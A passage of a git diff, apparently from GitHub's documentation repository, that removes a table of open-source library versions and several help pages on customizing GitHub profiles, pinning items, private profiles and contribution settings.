-| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.7 | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7) |
-| [pyserial/pyserial](https://github.com/pyserial/pyserial) | 3.5 | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5) |
-| [dateutil/dateutil](https://github.com/dateutil/dateutil) | 2.8.1 | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1) |
-| [yaml/pyyaml](https://github.com/yaml/pyyaml) | 5.4.1 | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1) |
-| [psf/requests](https://github.com/psf/requests) | 2.25.1 | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1) |
-| [boto/s3transfer](https://github.com/boto/s3transfer) | 0.3.4 | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4) |
-| [enthought/scimath](https://github.com/enthought/scimath) | 4.2.0 | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0) |
-| [scipy/scipy](https://github.com/scipy/scipy) | 1.6.1 | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1) |
-| [benjaminp/six](https://github.com/benjaminp/six) | 1.15.0 | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0) |
-| [enthought/traits](https://github.com/enthought/traits) | 6.2.0 | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0) |
-| [urllib3/urllib3](https://github.com/urllib3/urllib3) | 1.26.3 | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3) |
-| [python-attrs/attrs](https://github.com/python-attrs/attrs) | 19.3.0 | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0) |
-| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/) | 3.2.4 | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4) |
-| [pallets/click](https://github.com/pallets/click) | 7.0 | [7.0](https://github.com/pallets/click/releases/tag/7.0) |
-| [pallets/flask](https://github.com/pallets/flask) | 1.1.1 | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1) |
-| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7 | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7) |
-| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig) | 1.0.0 | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0) |
-| [pallets/itsdangerous](https://github.com/pallets/itsdangerous) | 1.1.0 | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0) |
-| [pallets/jinja](https://github.com/pallets/jinja) | 2.10.3 | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3) |
-| [lxml/lxml](https://github.com/lxml/lxml) | 4.4.1 | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1) |
-| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown) | 3.1.1 | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1) |
-| [pallets/markupsafe](https://github.com/pallets/markupsafe) | 1.1.1 | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1) |
-| [pypa/packaging](https://github.com/pypa/packaging) | 19.2 | [19.2](https://github.com/pypa/packaging/releases/tag/19.2) |
-| [pexpect/pexpect](https://github.com/pexpect/pexpect) | 4.7.0 | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0) |
-| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy) | 0.13.0 | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0) |
-| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess) | 0.6.0 | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0) |
-| [pytest-dev/py](https://github.com/pytest-dev/py) | 1.8.0 | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0) |
-| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.5 | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5) |
-| [pytest-dev/pytest](https://github.com/pytest-dev/pytest) | 5.3.0 | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0) |
-| [stub42/pytz](https://github.com/stub42/pytz) | 2019.3 | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3) |
-| [uiri/toml](https://github.com/uiri/toml) | 0.10.0 | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0) |
-| [pallets/werkzeug](https://github.com/pallets/werkzeug) | 0.16.0 | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0) |
-| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable) | 1.2 | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2) |
-| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic) | 2.9.1.1 | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1) |
-| [nasa/fprime](https://github.com/nasa/fprime) | 1.3 | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3) |
-| [nucleic/cppy](https://github.com/nucleic/cppy) | 1.1.0 | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0) |
-| [opencv/opencv](https://github.com/opencv/opencv) | 4.5.1 | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1) |
-| [curl/curl](https://github.com/curl/curl) | 7.72.0 | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0) |
-| [madler/zlib](https://github.com/madler/zlib) | 1.2.11 | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11) |
-| [apache/lucene](https://github.com/apache/lucene) | 7.7.3 | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) |
-| [yaml/libyaml](https://github.com/yaml/libyaml) | 0.2.5 | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5) |
-| [elastic/elasticsearch](https://github.com/elastic/elasticsearch) | 6.8.1 | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1) |
-| [twbs/bootstrap](https://github.com/twbs/bootstrap) | 4.3.1 | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1) |
-| [vuejs/vue](https://github.com/vuejs/vue) | 2.6.10 | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10) |
-| [carrotsearch/hppc](https://github.com/carrotsearch/hppc) | 0.7.1 | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1) |
-| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time) | 2.10.1 | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1) |
-| [tdunning/t-digest](https://github.com/tdunning/t-digest) | 3.2 | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2) |
-| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram) | 2.1.9 | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9) |
-| [locationtech/spatial4j](https://github.com/locationtech/spatial4j) | 0.7 | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7) |
-| [locationtech/jts](https://github.com/locationtech/jts) | 1.15.0 | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0) |
-| [apache/logging-log4j2](https://github.com/apache/logging-log4j2) | 2.11 | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0) |
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
deleted file mode 100644
index 93b78423cb0b..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: Pinning items to your profile
-intro: You can pin gists and repositories to your profile so other people can quickly see your best work.
-redirect_from:
- - /articles/pinning-repositories-to-your-profile
- - /articles/pinning-items-to-your-profile
- - /github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile
- - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-shortTitle: Pin items
----
-You can pin a public repository if you own the repository or you've made contributions to the repository within the last year. Commits to forks don't count as contributions, so you can't pin a fork that you don't own. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile)
-
-You can pin any public gist you own.
-
-Pinned items include important information about the item, like the number of stars a repository has received or the first few lines of a gist. Once you pin items to your profile, the "Pinned" section replaces the "Popular repositories" section on your profile.
-
-You can reorder the items in the "Pinned" section. In the upper-right corner of a pin, click {% octicon "grabber" aria-label="The grabber symbol" %} and drag the pin to a new location.
-
-{% data reusables.profile.access_profile %}
-1. At the top of the "Popular repositories" or "Pinned" section, click **Customize your pins**.
-
- 
-1. Optionally, to change which items are included in the searchable list, next to "Show", select or deselect **Repositories** and **Gists**.
-1. Optionally, to make it easier to find a specific item, in the "Filter repositories and gists" field, type the name of a user, organization, repository, or gist.
-1. Select up to six repositories and gists, combined.
-1. Click **Save pins**.
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md
deleted file mode 100644
index a9a5f1beff1f..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: Setting your profile to private
-intro: 'A private profile displays only limited information, and hides some activity.'
-versions:
- fpt: '*'
-topics:
- - Profiles
-shortTitle: Set profile to private
----
-## About private profiles
-
-To hide parts of your profile page, you can make your profile private. This also hides your activity in various social features on {% data variables.product.prodname_dotcom %}. A private profile hides information from all users, and there is currently no option to allow specified users to see your activity.
-
-After making your profile private, you can still view all your information when you visit your own profile.
-
-Private profiles cannot receive sponsorships under [{% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). To be eligible for {% data variables.product.prodname_sponsors %}, your profile cannot be private.
-
-## Differences between private and public profiles
-
-When your profile is private, the following content is hidden from your profile page:
-
-* Achievements and highlights
-* Activity overview and activity feed
-* Contribution graph
-* Follower and following counts
-* Follow and Sponsor buttons
-* Organization memberships
-* Stars, projects, packages, and sponsoring tabs
-* Your pronouns
-
-> [!NOTE]
-> When your profile is private, some optional fields are still publicly visible, such as the README, biography, and profile photo.
-
-## Changes to reporting on your activities
-
-By making your profile private, you will not remove or hide past activity; this setting only applies to your activity while the private setting is enabled.
-
-When your profile is private, your {% data variables.product.prodname_dotcom %} activity will not appear in the following locations:
-
-* Activity feeds for other users
-* Discussions leaderboards
-* Site-wide search results
-* The [Trending](https://github.com/trending) page
-
-> [!NOTE]
-> Your activity on public repositories will still be publicly visible to anyone viewing those repositories, and some activity data may still be available through the {% data variables.product.prodname_dotcom %} API.
-
-## Changing your profile's privacy settings
-
-{% data reusables.user-settings.access_settings %}
-1. Navigate to the "Public profile" section, and scroll down to "Contributions & Activity"
-1. Select the checkbox next to **Make profile private and hide activity**.
-{% data reusables.user-settings.update-preferences %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/using-your-github-profile-to-enhance-your-resume.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/using-your-github-profile-to-enhance-your-resume.md
deleted file mode 100644
index 7b298fdfb58e..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/using-your-github-profile-to-enhance-your-resume.md
+++ /dev/null
@@ -1,109 +0,0 @@
----
-title: Using your GitHub profile to enhance your resume
-intro: 'Demonstrate your skills to hiring managers with your {% data variables.product.github %} profile.'
-versions:
- fpt: '*'
-topics:
- - Profiles
-shortTitle: Enhance your resume
----
-
-## How can my {% data variables.product.github %} profile help with my job search?
-
-When you include a link to your {% data variables.product.github %} profile in your resume, you showcase your skills and experience to potential employers. In this article, you'll find practical tips for preparing your {% data variables.product.github %} profile for a job search.
-
-After you complete these steps, you can be confident that hiring managers will have a good sense of your technical skills when they are reviewing your {% data variables.product.github %} profile.
-
-## Step 1: Create a professional bio
-
-Your bio is a sentence or two that appears under your profile picture. Use your bio to give potential employers a high-level overview of who you are and what kind of work you're looking for.
-
-Navigate to your [profile settings](https://github.com/settings/profile) to update your bio. Keep this description short and concise. Consider something like, "Hello! My name is Mona and I'm looking for work as a front end developer."
-
-> [!NOTE] While you're here, you can update the rest of your profile settings. Consider including a profile picture, a link to your personal website or portfolio, and links to your social profiles.
-
-## Step 2: Create a profile README
-
-Compared to your bio, your profile README is more flexible, allowing for more creativity. You can write more in your profile README to showcase your skills and interests.
-
-Things you may want to add to your profile README include:
-
-* **An introduction**: Write a brief introduction of yourself and your professional background.
-* **Skills**: List your technical skills, including any programming languages, frameworks, and tools you are proficient in.
-* **Professional experience**: Describe where you've worked before and what sort of professional skills you've built. These can even be non-technical skills, such as communication and empathy.
-* **Some of your best projects**: Describe some projects you're proud of. You'll also pin these repositories later, but your README gives you a chance to provide more commentary.
-* **Achievements or awards**: Show off any of your achievements, including certifications or awards you've received for your work.
-
-To create your profile README, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme#adding-a-profile-readme).
-
-> [!TIP] Look for ways to show off your coding skills within your profile README. For example, [@new2code](https://github.com/new2code) demonstrates knowledge of {% data variables.product.prodname_actions %} and Python scripts by automating daily updates to the [Countdown to GitHub Universe](https://github.com/new2code#countdown-to-github-universe) section.
-
-## Step 3: Showcase your best projects
-
-Pick 3-5 projects to highlight by "pinning" them on your profile. Repositories you pin will be prominently displayed, allowing you to direct hiring managers' attention to the projects you're most proud of.
-
-For the best chances at an interview, pick projects that show your diverse skills and are relevant to your specific job search. If possible, pin some projects you created and some that you contributed to:
-
-* Projects you own are fully under your control, so you can improve them using of the steps below.
-* Open source projects highlight your ability to collaborate with others.
-
-To pin the repositories, click **Customize your pins** in the "Popular repositories" section of your profile.
-
-## Step 4: Improve your showcased projects
-
-Hiring managers usually consider many applicants for each role. Expect that they will only look at your projects for a couple minutes. To give the best impression during this brief time, you should make your projects easy to understand and explore.
-
-### Write a helpful README
-
-The README for your project's repository is a perfect space to give a concise project overview. Use [{% data variables.product.prodname_copilot_chat_short %}](https://github.com/copilot) to help write your README, with a prompt like this:
-
->Write a README for my lottery-number-generator repository.
-
-Then, copy the response into a `README.md` file in the root of the repository, editing as needed. Helpful READMEs include:
-
-* A list of key features of the project
-* Details on how to set up and run the project
-* An example or demo of the project
-* Instructions on testing your code
-
-For example, {% data variables.product.prodname_copilot_short %} wrote the README for [@new2code](https://github.com/new2code)'s [hiking pace calculator](https://github.com/new2code/hiking-pace-calculator?tab=readme-ov-file#hiking-pace-calculator).
-
-### Update the repository details
-
-On the main page of the repository, to the right of "About," click {% octicon "gear" aria-label="Edit repository metadata" %}. Here, you can provide information that helps hiring managers quickly understand the project:
-* A brief description of your project
-* A website where you can see the project in action
-* Topic tags that categorize your project
-
-### Make the code easy to understand
-
-To give the best impression, you'll want to make sure that hiring managers can understand your project quickly. Follow these best practices:
-
-* Maintain a **consistent coding style** throughout the project
-* Use **descriptive** file and directory names
-* Use helpful **comments and documentation** for any complex or important snippets
-* Refine your code according to popular **style guides**
-* **Simplify** complex functions, break down large classes, and remove redundant code
-* Provide **tests** to validate that your code is working as expected
-
-The easiest way to follow these practices is to use {% data variables.product.prodname_copilot_short %} with {% data variables.product.prodname_vscode_shortname %}. See [Set up Visual Studio Code with Copilot](https://code.visualstudio.com/docs/copilot/setup-simplified) in the {% data variables.product.prodname_vscode_shortname %} documentation.
-
-For example, {% data variables.product.prodname_copilot_short %} wrote the comments in [`update_readme.py`](https://github.com/new2code/new2code/blob/main/update_readme.py), when [@new2code](https://github.com/new2code) used the following prompt:
-
-> Help me write some helpful comments on this file so that it's easy to understand.
-
-### Update your project's dependencies
-
-If your project has any dependencies, you can showcase your understanding of security best practices by ensuring you're using the **latest versions**.
-
-You can automate this process with {% data variables.product.prodname_dependabot %}, which generates pull requests that update your project to new versions as they become available. See [AUTOTITLE](/code-security/getting-started/dependabot-quickstart-guide).
-
-## Step 5: Share your results
-
-Your profile is now ready to be included on your resume! The changes you made today will have a big impact on your job search and will make your {% data variables.product.github %} profile stand out to hiring managers.
-
-Share your updated profile and get inspiration from others in our [Community discussion](https://github.com/orgs/community/discussions/150827).
-
-## Further reading
-
-* [AUTOTITLE](/copilot/copilot-chat-cookbook/refactoring-code/improving-code-readability-and-maintainability)
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md
deleted file mode 100644
index 97adb42f5279..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Setting up and managing your GitHub profile
-intro: You can customize your GitHub profile and manage your contribution graph.
-shortTitle: Profiles
-redirect_from:
- - /categories/setting-up-and-managing-your-github-profile
- - /github/setting-up-and-managing-your-github-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-children:
- - /customizing-your-profile
- - /managing-contribution-settings-on-your-profile
----
-
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md
deleted file mode 100644
index d9e714945fb5..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Managing contribution settings on your profile
-intro: 'Your contributions, including commits, proposed pull requests, and opened issues, are displayed on your profile so people can easily see the work you''ve done.'
-redirect_from:
- - /articles/managing-contribution-graphs-on-your-profile
- - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile
- - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-children:
- - /viewing-contributions-on-your-profile
- - /showing-an-overview-of-your-activity-on-your-profile
- - /showing-your-private-contributions-and-achievements-on-your-profile
- - /sharing-contributions-from-github-enterprise-server
- - /why-are-my-contributions-not-showing-up-on-my-profile
- - /troubleshooting-commits-on-your-timeline
-shortTitle: Manage contribution settings
----
-
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sharing-contributions-from-github-enterprise-server.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sharing-contributions-from-github-enterprise-server.md
deleted file mode 100644
index f60f80098b59..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sharing-contributions-from-github-enterprise-server.md
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: Sharing contributions from GitHub Enterprise Server
-intro: 'You can send contribution counts from {% data variables.product.prodname_ghe_server %} to your profile on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}.'
-redirect_from:
- - /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile
- - /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile
- - /articles/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile
- - /github/setting-up-and-managing-your-github-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile
- - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile
- - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile
- - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-shortTitle: Send enterprise contributions
----
-
-## About enterprise contributions
-
-When you share contributions, your {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} profile shows {% data variables.product.prodname_ghe_server %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} Contribution counts from {% data variables.product.prodname_ghe_server %} are considered private contributions. The commit details will only show the contribution counts and that these contributions were made on {% data variables.product.prodname_ghe_server %}.
-
-You can decide whether to show counts for private contributions on your profile. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile).
-
-For more information about how contributions are calculated, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile).
-
-> [!NOTE]
-> The connection between your accounts is governed by [GitHub's Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement) and users enabling the connection must agree to the [GitHub Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service).
-
-## Sending your enterprise contributions to your profile
-
-Before you can connect your {% data variables.product.prodname_ghe_server %} profile to your {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. For more information, contact your enterprise owner.
-
-{% ifversion fpt or ghec %}
-
-To share contributions from {% data variables.product.prodname_ghe_server %}, view this article in the [{% data variables.product.prodname_ghe_server %} version of the site](/enterprise-server@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)."
-
-{% elsif ghes %}
-
-1. Sign in to both your user account on {% data variables.product.prodname_ghe_cloud %} **and** your user account on {% data variables.product.prodname_ghe_cloud %} ({% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-github-connect %} or {% data variables.enterprise.data_residency_site %}{% endif %}).
-1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
-
- 
-
-{% data reusables.github-connect.github-connect-tab-user-settings %}
-{% data reusables.github-connect.connect-dotcom-and-enterprise %}
-1. Review the resources that {% data variables.product.prodname_ghe_server %} will access from your {% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-github-connect %} or {% data variables.enterprise.data_residency_site %}{% endif %} account, then click **Authorize**.
-{% data reusables.github-connect.send-contribution-counts-to-githubcom %}
-
-{% endif %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md
deleted file mode 100644
index 575cd333dda4..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md
+++ /dev/null
@@ -1,29 +0,0 @@
----
-title: Showing an overview of your activity on your profile
-intro: You can enable the activity overview section on your profile to give viewers more context about the types of contributions you make.
-redirect_from:
- - /articles/showing-an-overview-of-your-activity-on-your-profile
- - /github/setting-up-and-managing-your-github-profile/showing-an-overview-of-your-activity-on-your-profile
- - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile
- - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-shortTitle: Show an overview
----
-
-## About the activity overview
-
-{% data reusables.profile.activity-overview-summary %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile).
-
-
-
-## Managing the visibility of the activity overview on your profile
-
-{% data reusables.profile.access_profile %}
-1. Above your contributions graph, select the **Contribution settings** dropdown menu, then click **Activity overview**.
-
- 
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md
deleted file mode 100644
index a758eb4f316f..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md
+++ /dev/null
@@ -1,68 +0,0 @@
----
-title: Showing your private contributions {% ifversion hide-individual-achievements %}and achievements {% endif %}on your profile
-intro: 'Your profile shows a graph of your repository contributions over the past year. You can choose to show anonymized activity from private and internal repositories in addition to the activity from public repositories.'
-redirect_from:
- - /articles/publicizing-or-hiding-your-private-contributions-on-your-profile
- - /github/setting-up-and-managing-your-github-profile/publicizing-or-hiding-your-private-contributions-on-your-profile
- - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile
- - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-shortTitle: Private contributions {% ifversion hide-individual-achievements %}and achievements{% endif %}
-allowTitleToDifferFromFilename: true
----
-
-{% ifversion ghec %}
-
->[!NOTE] Achievements are not available on subdomains of {% data variables.enterprise.data_residency_site %}, such as `octocorp.ghe.com`.
-
-{% endif %}
-
-If you publicize your private contributions, people without access to the private repositories you work in won't be able to see the details of your private contributions. Instead, they'll see the number of private contributions you made on any given day. Your public contributions will include detailed information. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile).
-
->[!NOTE] On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.prodname_ghe_server %}{% endif %}, public contributions on your profile are visible {% ifversion fpt or ghec %}to anyone in the world who can access {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}only to other users of {% data variables.location.product_location %}{% endif %}.
-
-## Changing the visibility of your private contributions
-
-You can choose to publicize your private contributions, which allows visitors to your profile to see private contribution counts, without further details.
-
-If you choose to hide your private contributions, visitors will only see your public contributions.
-
-{% data reusables.profile.access_profile %}
-1. Above the contribution calendar, click **Contribution settings**.
-
- 
-
-1. Click **Private contributions** to show or hide private contributions on your profile.
-
-{% ifversion hide-individual-achievements %}
-
-## Changing the visibility of achievements
-
-{% data reusables.user-settings.access_settings %}
-1. Under "Profile settings", select or deselect **Show Achievements on my profile.**
-1. Click **Update preferences**.
-
-## Hiding an individual achievement on your profile
-
-You can hide an individual achievement on your profile. When hidden, badges are only visible to you.
-
-{% data reusables.profile.access_profile %}
-1. Under "Achievements", click the achievement you want to hide.
-
- 
-
-1. Click {% octicon "eye" aria-label="Hide from profile" %}.
-
- 
-
-{% endif %}
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile)
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile)
diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md
deleted file mode 100644
index af44867ff0d5..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: Troubleshooting commits on your timeline
-intro: 'You can view details for commits from your profile''s timeline. If you don''t see commits you expect on your profile or can''t find commit details from your profile page, the commit date and the commit author date may be different.'
-redirect_from:
- - /articles/troubleshooting-commits-on-your-timeline
- - /github/setting-up-and-managing-your-github-profile/troubleshooting-commits-on-your-timeline
- - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline
- - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Profiles
-shortTitle: Troubleshoot commits
----
-
-## Expected behavior to view commit details
-
-In the "Contribution activity" section of your profile page, you can click the number of commits next to a specific repository to see more details about your commits from that time period, including a diff of specific changes made in a repository.
-
-
-
-## Missing commit details from commits in your timeline
-
-If you click a commit link from your profile page and don't see all of the expected commits on the repository's commits page, then it's possible the commit history in Git was rewritten and the commit author date and the commit date are different.
-
